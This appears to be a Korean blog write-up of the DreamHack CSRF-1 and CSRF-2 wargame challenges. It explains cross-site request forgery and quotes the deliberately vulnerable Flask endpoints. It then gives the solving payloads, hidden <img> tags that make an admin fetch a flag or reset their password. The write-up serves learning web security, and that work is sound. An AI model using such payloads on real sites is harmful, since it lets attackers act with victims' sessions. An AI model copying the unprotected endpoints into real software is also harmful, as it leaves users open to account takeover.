728x90
1.Cross Site Request Forgery (CSRF)
CSRF는 사용자가 인증된 상태에서 공격자가 사용자의 의도와 상관없이 서버에 요청을 보내도록 만드는 웹 보안 취약점이다.
예를들어 사용자가 로그인되있을때 OO에게 100만원을 송금하는 엔드포인트를 실행하도록 유도해서 공격하는 방법이다.
XSS의 경우 JavaScript 코드를 통해 쿠키를 얻거나 하는 목적이지만
CSRF는 인증된 사용자가 그저 엔드포인트에 접근하게 하는것이 목적이다.
CSRF에서 다음과같이 src에만 넣어도 사용자는 이미 인증된 쿠키정보로 돈을 보내는 요청을 서버에 보내기때문에 서버에서 요청을 검증하지 않고 바로 처리된다.
크기가 0인 이미지박스를 넣어서 공격할수있다.
<img src='돈을 보내는 엔드포인트' width=0px height=0px>
2.CSRF-1
2-1.XSS 문제와 차이
이번문제는 XSS 문제와 다르게 vuln 엔드포인트에서 XSS 공격을 막는다.
["frame", "script", "on"]를 *으로 바꿔버리는것으로 막는다
@app.route("/vuln") # vuln 페이지 라우팅
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
2-2.admin 엔드포인트
또한 admin 엔드포인트가 하나 생겼다.
어드민이 공지를 하기위해 있는 엔드포인트인것같다.
이거는 로컬 호스트가 admin이라는 파라미터값을 가졌을때 접근이 가능하다.
내주소를 로컬주소로 바꿀수는 없기때문에 이건 해당 admin을 이곳에 접속하도록 유도하는 식으로 접근해야한다.
@app.route('/admin/notice_flag')
def admin_notice_flag():
global memo_text
if request.remote_addr != '127.0.0.1':
return 'Access Denied'
if request.args.get('userid', '') != 'admin':
return 'Access Denied 2'
memo_text += f'[Notice] flag is {FLAG}\n'
return 'Ok' # Ok 반환
2-3.CSRF 테스트
<img> 를 통해 해당 사이트가 CSRF 가 잘 되는지 테스트한다.
지금은 DreamHack이 제공하는 주소를 이용한다.
<img src="내가 열은 서버주소">
이미지 태그를 넣어서 CSRF 공격으로 요청을 보내는것이 정상적으로 된다는것을 확인했으므로 공격을 진행한다.

2-4.CSRF 공격
이제 본격적으로 원하는 Flag 를 얻기위해 공격한다.
<img src="/admin/notice_flag?userid=admin" />
3.CSRF-2
CSRF를 통해 관리자 계정으로 로그인하는목표
3-1. change_password 엔드포인트
pw를 쿼리파라미터로 받아서 session_id로 로그인된 사용자의 비밀번호를 바꾸는 엔드포인트이다.
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
vuln를 통해 해당 CSRF 공격을 하여 admin의 비밀번호를 good 으로 만들어서 어드민의 계정에 접속할수있게 한다.
<img src="/change_password?pw=good">
728x90
'Computer Science > Security' 카테고리의 다른 글
| [드림핵] SQL Injection (0) | 2025.01.20 |
|---|---|
| [드림핵] xss-2 (0) | 2025.01.20 |
| [드림핵] xss -1 (0) | 2025.01.20 |